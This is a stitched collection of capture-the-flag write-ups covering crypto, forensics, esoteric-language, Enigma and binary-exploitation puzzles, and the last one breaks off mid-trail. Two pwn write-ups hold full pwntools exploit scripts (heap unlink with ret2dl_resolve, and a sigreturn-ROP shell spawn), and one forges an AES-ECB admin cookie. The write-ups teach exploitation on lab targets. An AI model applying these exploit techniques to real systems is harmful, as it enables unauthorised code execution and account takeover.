```----[---->+<]>++.+++++..---.>-[--->+<]>-.[----->+<]>++.>--[-->+++++<]>.+[----->+<]>--.-[----->+<]>.>-[--->+<]>--.[--->+<]>+++.+[->+++<]>.-[->++++++<]>.+++[->++<]>.++[->+++++<]>.--[--->++<]>.------------.---.>-[--->+<]>---.+++++++++++++.+[--->++<]>++.---[----->+<]>-.+++[->+++<]>++.++++++++.+++++.-[->+++<]>-.-[--->++<]>-.-[----->++<]>-.-[++>---<]>-.[----->+<]>++.--------------.-----.+[->+++<]>+...>--[-->+++<]>.```
Run this in the [bf_emulator](https://copy.sh/brainfuck/)
### Flag
```AFFCTF{JuSt_4n0theR_BrainF-w0rd_!!!}``` |
tl;dr:1. Notice chat and gif about knocking2. Notice strange port numbers in ascii range3. Combine port numbers to recover the flag
Full writeup: https://github.com/p4-team/ctf/tree/master/2019-09-07-trendmicro-quals/forensics_100 |
# CTF Name - real_baby_rsa
* **Category:** Crypto* **Points:** 40
## Challenge
### DescriptionNone given
### Files* problem.py* output.txt
## Solution
Based on the factors to encrypt the data the result of a given character will never change.Answer.py will encrypt each character, output the result, and also output the index into the char string so you can match it up by hand Go through and match output of answer.py to the output file
```N = 36239973541558932215768154398027510542999295460598793991863043974317503405132258743580804101986195705838099875086956063357178601077684772324064096356684008573295186622116931603804539480260180369510754948354952843990891989516977978839158915835381010468654190434058825525303974958222956513586121683284362090515808508044283236502801777575604829177236616682941566165356433922623572630453807517714014758581695760621278985339321003215237271785789328502527807304614754314937458797885837846005142762002103727753034387997014140695908371141458803486809615038309524628617159265412467046813293232560959236865127539835290549091e = 65537
f = open("../Downloads/real-baby-rsa/output")data = f.readlines()print(data[0])
flag = """ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890?,./<>?!@#$%^&*()-_=+"""for char in flag: x = pow(ord(char), e, N) print(x) # For some reason doesn't work as I expected so I did it by hand for i in data: if x == i: print(char)
j = 1for i in flag: print(str(j) + " : " + i) j += 1```
### Flag
```TWCTF{padding_is_important}``` |
This challenge was the second hardest forensics challenge. We were given a pcap file and I opened it up. I quickly noticed some interesting FTP traffic:
vsFTPd 3.0.3 has been used. The user `m` logged in with the password `m`. The user then listed a directory and retrieved the file `strictly_confidential`.
We can see the output of those commands using the `ftp-data` filter.
By looking in the line-based text data of those two packets we get the output.
I saved the `strictly_confidential` file to my computer and checked it out. The file does not have that much content, but we can clearly see a header followed by some binary data.
```VimCrypt~03!� �����Ў=E, ������f9[J�82L�rk\O��C�*M�f�Vh��C��```
VimCrypt sounds familiar! Vim actually comes packaged with a default encryption mechanism called VimCrypt. Whenever you feel like encrypting a file you have been working on, you can just type `:X` and type a password to encrypt your file. When you open the file again using Vim, it asks for a password.VimCrypt currently supports three encryption methods: zip (01), blowfish (02) and blowfish2 (03). By looking at the header (03), we can see that this file is encrypted using blowfish2.
It is harder to break blowfish2 than the two other encryption methods, so we need to find a password! I opened up the pcap file again looking for interesting stuff.The SMTP traffic looked promising to take a closer look at. I found a mail sent from [email protected] to [email protected] with the text
```the password is Horse Battery Staple Correct```
After opening the file in Vim using the password I found, I got the flag!
```AFFCTF{I_Should_Have_Used_Safer_Connection_..}``` |
# Old Attack(step1)
The web is down now, so I will show some capture from my burpsuiteWhen login to the website, the userpage at 150.109.197.222/userpage/796 show a text Hi,kzy >TO BE ADMIN:)You can see auth_name cookie. This is not change after every request. So I think the website is used the algorithm to encrypt message without random value. => This is the first think! The second, I saw the web is using laravel framework, and the default algorithm used is AESSo the Idea is: I decide create a long name to check if this cookie use which AES mode and I found they are using AES mode ECB.This algorithm decrypt/encrypt as block, so if you know the block size you will create a specific ciphertext you want.The ciphertext that I want is "admin".when I add 255 charater "a" as username. the auth_name is:```/IxmlZ2Od/YDGxEIvA5vq/yMZpWdjnf2AxsRCLwOb6v8jGaVnY539gMbEQi8Dm+r/IxmlZ2Od/YDGxEIvA5vq/yMZpWdjnf2AxsRCLwOb6v8jGaVnY539gMbEQi8Dm+r/IxmlZ2Od/YDGxEIvA5vq/yMZpWdjnf2AxsRCLwOb6v8jGaVnY539gMbEQi8Dm+r/IxmlZ2Od/YDGxEIvA5vq/yMZpWdjnf2AxsRCLwOb6v8jGaVnY539gMbEQi8Dm+r/IxmlZ2Od/YDGxEIvA5vq/yMZpWdjnf2AxsRCLwOb6v8jGaVnY539gMbEQi8Dm+rm3uAxwpX2swVtiiJzRSQ2w==```The blocksize is 48 byte. => the payload you need to create is 48*"a"+"admin"Using ciphertext "admin" create as auth_name =>The image of the flag return on the userpage.The code web check you can see is:```php.......public function userpage(Request $request,$id) { if($request->isMethod('get')){ if(isset($_COOKIE['auth_name'])){ $auth_check=$this->decrypt($_COOKIE['auth_name']);}else{ $auth_check=Auth::user()->name; } if($auth_check==='admin'){ $imgurl=""; $usern='admin'; ...... ```
English is not my mother tongue; please excuse any errors on my part. |
# Complex RSA
> Things in this world sometimes are different than they appear!
> nc 167.71.62.250 14559
## Challenge
```Challenge loading... be patinet :)|-------------------------------------|| Options: || [E]ncrypted message || [K]ey generation function || [S]end the decrypted message || [T]ry encryption || [Q]uit ||-------------------------------------|```
The key gen function:
```def gen_key(e, nbit): p = getPrime(nbit << 2) q = getPrime(nbit >> 2) print 'p =', p print 'q =', q n = p * q return (e, n)```
Here one prime would be small, so factorization should be quite easy
```Send your Options:TSend your input as a pair (a, b):(2,0)((a + b √-1) ** e) (mod n) = (123370139733460288741582133541967208151544163810581515437516558669972425636530931666673004837858749022601996874821486288752958977088089060539584311969624273734612352083467285311016219043536527442528687720647804943357024821973693691292035336507137095064124150626846570159166238804148372798356772669L, 0L)Send your Options:TSend your input as a pair (a, b):(0,1)((a + b √-1) ** e) (mod n) = (0L, 1L)Send your Options:TSend your input as a pair (a, b):(-1,0)((a + b √-1) ** e) (mod n) = (337390295386784062735892530953812027731217626577827868683652203476748859812364337575664693191200613632654265062075499825596838397609731917692839810645496096834742890659029158682118916487432458937074956757871632389547383580967613523944154703997016734902928913508657661928209328770940675037982298198L, 0L)```
Trying some inputs, we see that this basically extends RSA into the gaussian integers, and negative numbers works too.
Since negative numbers works, finding `n` is trivial `n = (n-1)+1`
Assuming `e` is small, finding `e` is simple by discrete log
Now we need a way to do complex modular arithmetic
## Complex modular arithmetic
Adding amd multiplying is trivial, exponentiation is done by square and multiply:
```def cadd(a,b,n): return (a[0]+b[0]%n,a[1]+b[1]%n)
def cmul(a,b,n): return ((a[0]*b[0]-a[1]*b[1])%n,(a[0]*b[1]+a[1]*b[0])%n)
def cpow(a,k,n): if(k==0): return (1,0) if(k==1): return a if(k%2==0): a=cmul(a,a,n) return cpow(a,k/2,n) else: return cmul(a,cpow(cmul(a,a,n),(k-1)/2,n),n)```
## Order of multiplicative group
Usually in RSA, we simply compute `phi(n)` then invert `e` under `phi(n)`, but now it's with complex numbers, so this may not work
We first consider the order of `C/pC*` where `p` is a prime. The real and imaginary parts ranges from `0` to `p-1`, so a valid assumption is that the order is a multiple of `p*p-1`(since `0,0` can't be in the group). The order is exactly `p*p-1` for `p=3 mod 4` since it cannot be expressed as the sum of `2` squares, but for `p=1 mod 4` it is less, and it is a multiple of `p*p-1`.
Thus if we want to find `g` given `g^e=a mod p`, we simply invert `e` under `p*p-1`.
For `n=pq`, the order is a multiple of `lcm(p*p-1,q*q-1)`, then it's trivial
For factoring `n` we simply use yafu
> Flag : `CCTF{_____e^(i*PI)=-1_____}` |
# 1so2nd3er_maschine
## Misc - Points: 100
> Note: put flag into AFFCTF{} format>> [1so2nd3er_machine](1so2nd3er_machine)>
The provided file is wave audio, if you listen to it, it sounds like morse code and also the title of the challenge reminds me of being that. [Here](https://morsecode.scphillips.com/labs/audio-decoder-adaptive/) is a good website where you can upload a wave file and decode it. You will get the result:
```MBHU PJS HHUX ROAMCTU CGPUIEKZC. CKIFS HYW RLODMTC LC PWVVYO IRXESUFEE EXPOXVGN XZVC BSTS EO SZIKXNIJLM QBISBW. AL NXOM RJRZB KI MYJ YWQZF CKF JAKOTGW ZWKWFX. ANXKYI: "QGEOG VPRTBFH LMNA CS FYHMEL"```
The output with punctuation characters looks like text but still encrypted. Carefully looking into the title of the challenge you notice the german word 'maschine', if you leave the numbers out you get 'sonder maschine' and BINGO! Thats one model of the Enigma I.
Now we know how the message is probably encrypted. [Here](https://cryptii.com/pipes/enigma-machine) is another website that allows you to decode messages of the Enigma machine. When choosing the model Enigma I "Sondermaschine" we have three rotors and for each of them a position and ring setting that can be any of the 26 alphabetic letters.
Again carefully looking into the title of the challenge, what if we interpret the first part as the key:
```Rotor 1: I, Position: S, Ring: ORotor 2: II, Position: N, Ring: DRotor 3: III, Position: E, Ring: R```
After clearing the plugboard, BOOM! We get german readable text, select include foreign chars to make it more readable and you get the message:
```dies ist eine geheime nachricht. unter den wortern in dieser nachricht befindet sich eine zu erhaltende flagge. es kann nicht in die hande des gegners fallen. flagge: "royal capital city of krakow"```
After putting the flag format around it you got it!
flag: `AFFCTF{royal capital city of krakow}` |
[中文](./README_zh.md) [English](./README.md)
[attachment.zip](./attachment.zip)
The problem gives two binary files, one for 32 bits and one for 64 bits.
The main idea is, given the same input, whether the outputs of the 32-bit and 64-bit programs are the same, and exit if they are not the same.
The title is a relatively simple pile of questions
Let's first look at the main function.
Can see that there are 4 functions
1. new2. delete3. show4. edit
There is an off by null vulnerability in edit, which can be used to unlink and get arbitrary writes.
After arbitrary write, you can use a gadget to transfer the stack to the bss section and perform ROP. And then, use ret2dl_resolve to open the flag and write to a note. The note has a value set in advance, if the output is not equivalent. Will `output what are you trying to do? ` which we can blind injection and get the flag
Below is exp
This is the intended solution, but because mimic is not very well written, there are many unexpected solutions........
```from pwn import *import roputils
def brute_flag(idx,v): debug=1
#context.log_level='debug'
rop=roputils.ROP('./mimic_note_32')
if debug: p=process('./mimic') #p=process('./mimic_note_32') #p=process('./mimic_note_64') #gdb.attach(p) else: #p=remote('127.0.0.1',9999) pass
def ru(x): return p.recvuntil(x)
def se(x): p.send(x)
def sl(x): p.sendline(x)
def new(sz): sl('1') ru('size?') sl(str(sz)) ru(">> ")
def delete(idx): sl('2') ru('index ?') sl(str(idx)) ru(">> ")
def show(idx): sl('3') ru('index ?') sl(str(idx))
def edit(idx,content): sl('4') ru('index ?') sl(str(idx)) ru('content?\n') se(content) ru(">> ")
#unlink attack x86
new(0x68) new(0x68) new(0x94) new(0xf8)
fake_chunk = p32(0)+p32(0x91)+p32(0x804a070-0xc)+p32(0x804a070-0x8) fake_chunk = fake_chunk.ljust(0x90,'\0')
edit(2,fake_chunk+p32(0x90))
delete(3)
#ret2dlresolve and blind injection
new(0x200)
bss = 0x0804a500
edit(2,p32(0x100)+p32(0x804A014)+p32(0x98)+p32(bss+0x300)+p32(0x94)+p32(bss)+p32(0x200)) edit(1,p32(0x80489FA))
payload = p32(bss-0x100)+rop.dl_resolve_call(bss+0x60, bss+0x180,0) payload += p32(0x8048460)+p32(0x80489F9)+p32(3)+p32(bss+0x300-idx)+p32(idx+1) payload += p32(0x080489FB)+p32(bss-0x100) payload += p32(0x804893C)
payload = payload.ljust(0x60,'\x00') payload += rop.dl_resolve_data(bss+0x60, 'open') payload = payload.ljust(0x180,'\x00') payload += 'flag'
edit(3,payload)
edit(2,v+'\0')
sl('2\x00'+'a'*6+p32(0x80488DE)) ru('index ?\n') sl('3\x00') ru('>> ')
show(2)
ru('\n') data = ru('\n')
p.close()
if len(data)>5: return False return True
charset ='{}_'+ string.ascii_letters + string.digits + string.punctuation
flag = ''for i in range(40): for q in charset: if brute_flag(i,q): flag+=q print(flag) if q == '}': exit(0) break``` |
Let's open the given wav file with Audacity:
Well, nothing interesting.
But the task name sounds like xy_fun... function... y(x)..Ok, what if we try to plot the image considering audio samples as coordinates?WAV is an uncompressed format, so the audio samples performed simply as numbers:
```wav file = [44 byte wav header][raw audio samples...]```
where
```[raw audio samples] = [LRLRLRLRLRLR...]```
L and R are numbers for left and right channels respectively.
Let's write python script to extract the samples:
```import structb = open('xy_fun.wav', 'rb').read()[44:] #omit first 44 bytesraw_bytes = [struct.unpack('h', ''.join(b[i : i+2]))[0] for i in xrange(0,len(b), 2)]with open('wav_to_draw.txt', 'w') as file: i = 0 while i < len(raw_bytes): file.write(str(raw_bytes[i]) + ' ' + str(raw_bytes[i+1]) + '\n') i+=2```
Now ```wav_to_draw.txt``` file looks like this:
```6333 3100425467 3027325873 29579... ...```
Let's plot it! I used gnuplot for this.
```$ gnuplot
G N U P L O T Version 5.2 patchlevel 2 last modified 2017-11-01
Copyright (C) 1986-1993, 1998, 2004, 2007-2017 Thomas Williams, Colin Kelley and many others
gnuplot home: http://www.gnuplot.info faq, bugs, etc: type "help FAQ" immediate help: type "help" (plot window: hit 'h')
gnuplot> plot "wav_to_draw.txt"```The output image was mirrored. Afted mirroring it back I finally got this:
And the flag is: ```AFFCTF{XY_1S_FUN}``` |
tl;dr
A equality relating the primes to some unknown number is given, since these are rational numbers and both numerator and denominator are known, it is effectively 2 seperate equalities, allowing the primes to be solved for
e is 0x20002 here so a square root mod n is needed, which is easy with crt |
# SMALL BOI (100)
We're provided with a 64bit stripped binary.
We execute it and it's just asking for input without doing anything.
Nothing to note so let's open it in IDA and analyse the disassembly.
No PLT entries registred so no linking we can assume that this binary is implemented in pure assembly no library function calls just chain of instructions in assembly.
It calls the function at offset `0x40018C` then it make an exit syscall.
Let's analyse that function:
it makes a syscall with value of `0` in `EAX` register so after referencing to the syscall table for x64 arch we find that it's a read syscall.
So it reads `0x200` bytes from `STDIN` and puts it in a buffer locacted in the `stack`.
It seems to control the number of bytes but it still may be a Buffer Overflow vulnerability here if the size allocated for the buffer is less than 0x200 let's try that.
```bash[13:06:21]kerro@BOX:~/csaw/pwn/small_boi$ python -c 'print "A"*0x200' | ./small_boi Segmentation fault[13:06:23]kerro@BOX:~/csaw/pwn/small_boi$ ```
and Yes! `Segmentation fault` let's see which register caused that fault exactly:
We control the Instructions Pointer (RIP).
My first thoughts was to control `EAX`,`RDI`,`RSI` AND `RDX` to make a `execve("/bin/sh",0,0)` but after seeing the gadgets provided in the binary i realised that it's impossible(for me) to do that and we don't have any library linked so no `/bin/sh` string .
But look closely, at line 20 thats a syscall with code `0xf` different from `exit` and `read` syscalls. Referencing again to x64 syscall table we know that it's a [Sigreturn](https://en.wikipedia.org/wiki/Sigreturn-oriented_programming) syscall.
After googling the technique we know that it builds a new frame in the stack in which allocated and initialized the new frame context (new registers values and new stack...)
First let's determine the offset to control the RIP:
It's 40.
Now let's try performing this by making the program jump to that syscall and filling the stack with junk values and see if we control all the registers or not.
And yes we control everything. Now the big problem is where can we find `/bin/sh` string to perform the desired call `execve("/bin/sh",0,0)` ? Well that took me a while thinking about a way to get that string or a way to write it in a writable area in the binary and return to it. But after examining the strings of the binary I figured out that it's here already!  So all we have to do is to determine its offset in the `.rodata` section (ReadOnly data) .  Its offset is `0x4001ca` . So now the attack scenario is simple: perform a buffer overflow attack to control the instructions pointer in order to make a sigreturn syscall then fill the rest of the memory with the context of the new frame we don't even have to know the location of the new frame just fill enough space. Pwntools will help us to construct the new frame. New frame context content: -)RAX=59 (the number of the execve syscall) -)RDI=address of `/bin/sh` string -)RSI=0 (second argument of execve) -)RDX=0 (third argument of execve) -)RSP=random logic adress (with RW permissions) we can use `vmmap` in gdb-peda to get such adress. -)RIP=syscall gadget(provided at 35th line in gadgets) Here's the final exploit: ```python from pwn import *context.clear(arch="amd64")paylaod = ""paylaod += "A"*40paylaod += p64(0x000000000040018a)paylaod += p64(0xf)paylaod += p64(0x0000000000400185)frame = SigreturnFrame(kernel="amd64")frame.rax = 59frame.rdi = 0x4001caframe.rsi = 0frame.rdx = 0frame.rsp = 0x0000000000601000frame.rip = 0x0000000000400185paylaod += str(frame)*10p = process("./small_boi")p.sendline(paylaod)p.interactive()```And here we are!
FLAG: `flag{sigrop_pop_pop_pop}` |
# Affinity CTF 2019 - Reading Disfunction
* **Category:** Misc* **Points:** 150
## Challenge
### Description> nc 165.22.22.11 9999
## Solution
After connecting, the following text was printed, and the program waited for user input.
```andrew@WOPR /tmp % nc 165.22.22.11 9999++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++++++++.------------.-------.+++++++++++++++++++.<<++.>>+++.---------------.-------.+++++++++++++++++++.<<.>>-------------------.+++++++++++++++++.-------------.<<.>>++++++++++++++++++++.----------.++++++.<<.>>---------.+++..----.--.+++++.-------.<<.>>-.+++++++++.+++.<<.>>---------.++++++++++.<<.>>----------.+++++.<<.>>-----------.++.+++++++..<<.>------------------.----.<+.```
I recognized this to be the esoteric programming language [Brainfuck](https://en.wikipedia.org/wiki/Brainfuck). There are many different browser-based emulators online for running and inspecting Brainfuck code, but I quite like [this one](http://fatiherikli.github.io/brainfuck-visualizer/).
When run, the code printed the text: `that what are you looking for is in cell 40!`. I theorized that the program now expected me to enter my own Brainfuck code. Cell 40 should be reachable with 41 `>` characters (indexes start at 0, so index 40 is the 41st cell). We can then print the data in that cell with the `.` character. Running this produced a single `A`.
```andrew@WOPR /tmp % python2 -c 'print ">"*41 + ".";' | nc 165.22.22.11 9999>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>.++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++++++++.------------.-------.+++++++++++++++++++.<<++.>>+++.---------------.-------.+++++++++++++++++++.<<.>>-------------------.+++++++++++++++++.-------------.<<.>>++++++++++++++++++++.----------.++++++.<<.>>---------.+++..----.--.+++++.-------.<<.>>-.+++++++++.+++.<<.>>---------.++++++++++.<<.>>----------.+++++.<<.>>-----------.++.+++++++..<<.>------------------.----.<+.Aandrew@WOPR /tmp % ```
Since the flag format was `AFFCTF{...}` I guessed that the rest of the flag could be found in the subsequent cells. We can move to the next cell with another `>` character, and again, print the cell with a `.` character. I wasn't sure how long it would be, but 100 characters should be plenty. This printed the flag!
```andrew@WOPR /tmp % python2 -c 'print ">"*41 + ".>"*100;' | nc 165.22.22.11 9999>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++++++++.------------.-------.+++++++++++++++++++.<<++.>>+++.---------------.-------.+++++++++++++++++++.<<.>>-------------------.+++++++++++++++++.-------------.<<.>>++++++++++++++++++++.----------.++++++.<<.>>---------.+++..----.--.+++++.-------.<<.>>-.+++++++++.+++.<<.>>---------.++++++++++.<<.>>----------.+++++.<<.>>-----------.++.+++++++..<<.>------------------.----.<+.AFFCTF{!s_th!s_th3_r3@l_l!f3__or__!s_th!s_just_f@nt@sy___}andrew@WOPR /tmp % ```
### Flag
```AFFCTF{!s_th!s_th3_r3@l_l!f3__or__!s_th!s_just_f@nt@sy___}``` |
Let's open the file in Wireshark:
We see some unusual traffic here... some URB_BULK in, URB_BULK out, URB_INTERRUPT... wtf?After some googling I found that it is an intercepted USB traffic (as said in "Protocol" column) from multiple usb devices."host" is a computer to which all these devices were plugged in and the different sources stand for the different devices. We can simply filter the packets with source "host", because they only represent a response and have no useful information.Packet length is different for every device => we need to find, which device produces the traffic with potential flagWe can distinguish the following "addresses":```source percent from all packets1.3.1 (0.1%)1.4.1 (3.0%)1.5.1 (56.1%)1.6.4 (0.1%)1.6.5 (6.3%)1.11.0 (0.2%)1.11.1 (25.4%)1.11.2 (2.0%)```
If we look at Leftover Capture Data for packets with source 1.4.1, we will see the following:
Here: https://www.rootusers.com/google-ctf-2016-forensic-for2-write-up/ I found that this 4-byte code represents mouse movements (2nd byte - X, 3rd byte - Y) in hex values. Looks like the flag can be there!
Filter needed packets in Wireshark: ```usb.src == "1.4.1"```
Extract needed data using ```tshark```:```$ tshark -r filtered_1.pcapng -T fields -e usb.capdata -Y usb.capdata > extracted_1.txt$ tail -n 10 extracted_1.txt 00:fd:01:0000:fd:00:0000:fd:01:0000:fc:00:0000:fc:00:0000:fc:01:0000:fb:01:0000:fb:00:0000:fd:01:0000:fc:00:00```Parse values to get integer X and Y movements:```contents = open('extracted_1.txt', 'r').readlines()contents_2 = []for item in contents: contents_2.append( [item[3:5], item[6:8]] )
def parse_move(value): if int(value, 16) > 127: return int(value, 16) - 256 else: return int(value, 16)
x,y = 0, 0 # mouse position default values
with open('movements_1.txt', 'w') as file: for item in contents_2: x += parse_move(item[0]) y += parse_move(item[1]) file.write(str(x) + ' ' + str(y) + '\n')```Last 10 lines of movements_1.txt:```$ tail -n 10 movements_1.txt -818 -533-819 -533-819 -532-820 -532-821 -532-821 -531-822 -531-823 -531-823 -531-823 -531```Plot these values:```$ gnuplotgnuplot> plot "movements_1.txt"```
Well, nothing interesting...
What about source 1.5.1, the majority of the packets in the given file?
Filter: ```usb.src = "1.5.1"```
I found this very useful writeup: https://blogs.tunelko.com/2017/02/05/bitsctf-tom-and-jerry-50-points/This situation is a bit different, but looks very similar. We have 10 bytes data: ```02 e1 41 20 71 0c 7f 06 1a 00```, which can be interpreted as:```02 e1 - header41 20 - X71 0c - Y7f 06 - pressure1a 00 - suffix```Obviously we are dealing with some kind of drawing tablet.Extract data from intercepted traffic:```$ tshark -r filtered_2.pcapng -T fields -e usb.capdata -Y usb.capdata > extracted_2.txt$ head -n 20 extracted_2.txt c0:00:00:00:00:00:00:00:00:01c0:00:00:00:00:00:00:00:00:0102:80:00:00:00:00:00:00:00:0002:80:00:00:00:00:00:00:00:0002:80:00:00:00:00:00:00:00:0002:80:00:00:00:00:00:00:00:0002:80:00:00:00:00:00:00:00:0002:80:00:00:00:00:00:00:00:0002:80:00:00:00:00:00:00:00:0002:80:00:00:00:00:00:00:00:0002:c0:00:00:dc:02:00:00:0c:0002:e0:00:00:e4:02:00:00:0c:0002:e0:00:00:f9:02:00:00:0d:0002:e0:00:00:f1:02:00:00:0d:0002:e0:00:00:fa:02:00:00:0d:0002:e0:00:00:f9:02:00:00:0d:0002:e0:00:00:f9:02:00:00:0d:0002:e0:00:00:fe:02:00:00:0d:0002:e0:00:00:fd:02:00:00:0d:0002:e0:00:00:f9:02:00:00:0d:00```Then I used commands from the aforementioned writeup, and modified them a bit:
Parse strings:```$ awk -F: '{x=$3$4;y=$5$6}{z=$7}$1=="02"{print x,y,z}' extracted_2.txt > hex_movements.txt```Parse hex movements (```solve.py```):```from pwn import *for i in open('hex_movements.txt').readlines(): ii = i.strip().split(' ') x = int(ii[0], 16) y = int(ii[1], 16) z = int(ii[2], 16) if z > 0: print u16(struct.pack(">H", x)), u16(struct.pack(">H", y))```
Final steps:```$ python solve.py > movements_2.txt$ gnuplotgnuplot> plot "movements_2.txt"```The image was mirrored, after mirroring it back finally I got the flag:
```AFFCTF{uSb_1s_e4Sy_t0_l1St3n_!}``` |
[中文](./README_zh.md) [English](./README.md)
Please download the [WP_zh.md](WP_zh.md) or [WP.md](WP.md). Github doesn't support rendering math equations. You can render locally.
 |
# Combo 100 (forensics/osint/re, 100p, ? solved)
W very long multi-stage challenge, no idea what it was worth only 100p.In the challenge we get a 267MB pcap file, so we won't be attaching it.
The most indispensible tool to work with pcaps of this size of NetworkMiner.It automatically extracts files, parameters, passwords, messages etc.
In the task description there is a mention os some email exchange so we first look at emails extracted from pcap.It turns out those emails are driving the whole challenge from start to the finish.
```Hi James,
Hey! It's been a while! By the way, remember the fishing trip we went to last month, I took some pictures.Here take a look, I attached one.
Regards,Bond ```
```Hi Bond,
Nice picture! Better remember the EXACT place where that picture was taken. You may want to check the lodging we took when we went there. I left a veryimportant note for that thing we've discussed from our fishing trip... whichI also attached.
Regards,James```
To one of the emails there is a [picture](Fishing_Trip.jpg) attached.The email mentions to look `exactly` where the picture was taken, so we extract EXIF data and it turns out the picture contains coordinates.This leads us to: https://www.google.com/maps/place/GiethoornTMCTF/@52.7203254,6.0898781,17z/data=!3m1!4b1!4m5!3m4!1s0x47c86f063fec1ef9:0x8d76ad68f8a4424d!8m2!3d52.7203254!4d6.0920668
And there is a marker for `GiethoornTMCTF`, which seems like a clue.The other email contained an [encrypted zip](flag-encrypted.zip).We can decrypt this zip using `GiethoornTMCTF` as password and we get a [strange file](flag-encrypted.txt).
We tried to do some analysis of this file, and since charset size is 16 we assumed this might be some substitution cipher over hexencoded bytes, but we were unable to do anything with it.
We follow the trail of emails:
```Hi James,
Got the note. Was it supposed to be a gift? Now, I need to know how to make this thing work.For that, I have to know where to find you, could you give me some directions?
Regards,Bond```
```Hi Bond,
Sure thing. Let's meet then, but I am traveling across Europe man... aEurope Tour!! First, I visited NORWAY, you need to stop by there too, the place is sogreat! After seeing the sights there, I remembered that I needed to drop somethings in LATVIA, but in order to go there, I need to cut across SWEDEN toget there quicker.That is very important because you will only see the direction to LATVIA ifyou go right in the MIDDLE of SWEDEN.After that, I have to travel all the way to BELARUS, I left my keys there.Or maybe I can just ask FRANCE to fetch it for me so we can go meet inLITHUANIA much earlier.
Regards,James```
Now this part was a bit confusing, because we initially thought they meant actual locations on the map, and we tried to draw something.In the end we first solved the next part before getting back here with better understanding of what we're looking for, but we're describe the solution in proper order.
The idea here is to notice in the files downloaded by the user an article [Norway.html](Norway.html) downloaded from `weakipedia`.It seems legit apart from strange parts:
```
```
And the emails says `cut across SWEDEN` and `MIDDLE of SWEDEN`.We guessed the idea is to extract the data inside so we proceed with:
```pythondef main(): data = open("Norway.html").read() print("".join(data.split("Sweden")[1::2]).decode("rot13").replace(":","\n"))
main()```
Now it would be pretty confusing, but from solving later AMERICA and AFRICA steps, we already knew that we're looking for obfuscated VBS code where `:` denote newlines.
This way we extract [obfuscated stage1](stage1ob.vbs).This code is `obfuscated` by lots of useless instructions:
```vbscriptnTWAAKaqMncGOLEYPcXDTqcWJAj="kyzNMWZrwnYxTfZmaVff"If nTWAAKaqMncGOLEYPcXDTqcWJAj="kyzNMWZrwnYxTfZmaVff"ThenEnd If```
Such instruction does nothing so we can remove all of them.Finally we get [stage1.vbs](stage1.vbs) and combined with the inputs we got from zip we get [results of stage1](resultstage1.txt).Interestingly enough antivirus and windows defender get triggered by stage1 script after we remove the obfuscation.
Now we follow the emails trail to figure out what to do with this:
```Hi Bond,
Just a reminder about what we've talked about. You have to visit NICARAGUAto get that certificate I hid, then head back to USA. That document is very important as you needed for your entry in COLOMBIA. Well, you can visit other countries too with that certificate, likeVENEZUELA, ARGENTINA, BRAZIL, even CANADA, and many more.Seems like you'll be having your own tour, an Americas Tour!
Regards,James```
This email mentions some `certificate` and `NICARAGUA` so we dive again in NetworkMiner and we find [a certificate](hidden.cer.html).However when you try to decode it, it doesn't seem to be valid certificate at all.It turns out its just base64 payload, which decoded gives us [stage 2](stage2.vbs).
Notice here that this was the first VBS code we found, because this one was only base64 encoded and easy to spot.Only after that we managed to find the EUROPE one.
When we combine the code with data we got from stage 1 we get [results of stage 2](resultstage2.txt) which again looks like encoded data.
Let's follow the emails:
```Hi James,
Americas tour is a blast! But I feel like the experience ain't complete yet. Am I missing something. Is there anything else I need to know? or perhaps, need to visit?Maybe an African Tour wouldn't be a bad idea?
Regards,Bond```
```Hi Bond,
Good thing you mention it! We really need to visit Africa, I'm querying sometravel blogs, looking for good sights, I must say pyramid of Giza in EGYPTmight be a good spot to start, or maybe SUDAN?Oh, did you know that SUDAN has more pyramid than EGYPT? Isn't it crazy?While we're on it, we can visit some neighboring countries along theMediterranean such as LIBYA, TUNISIA, ALGERIA up to MOROCCO.
Regards,James```
This exchange hints about `querying sometravel blogs`, `pyramids`, `Egypt` and `Sudan` so again we check in NetworkMiner if there is anything interesting.And we find interesting GET parameters:
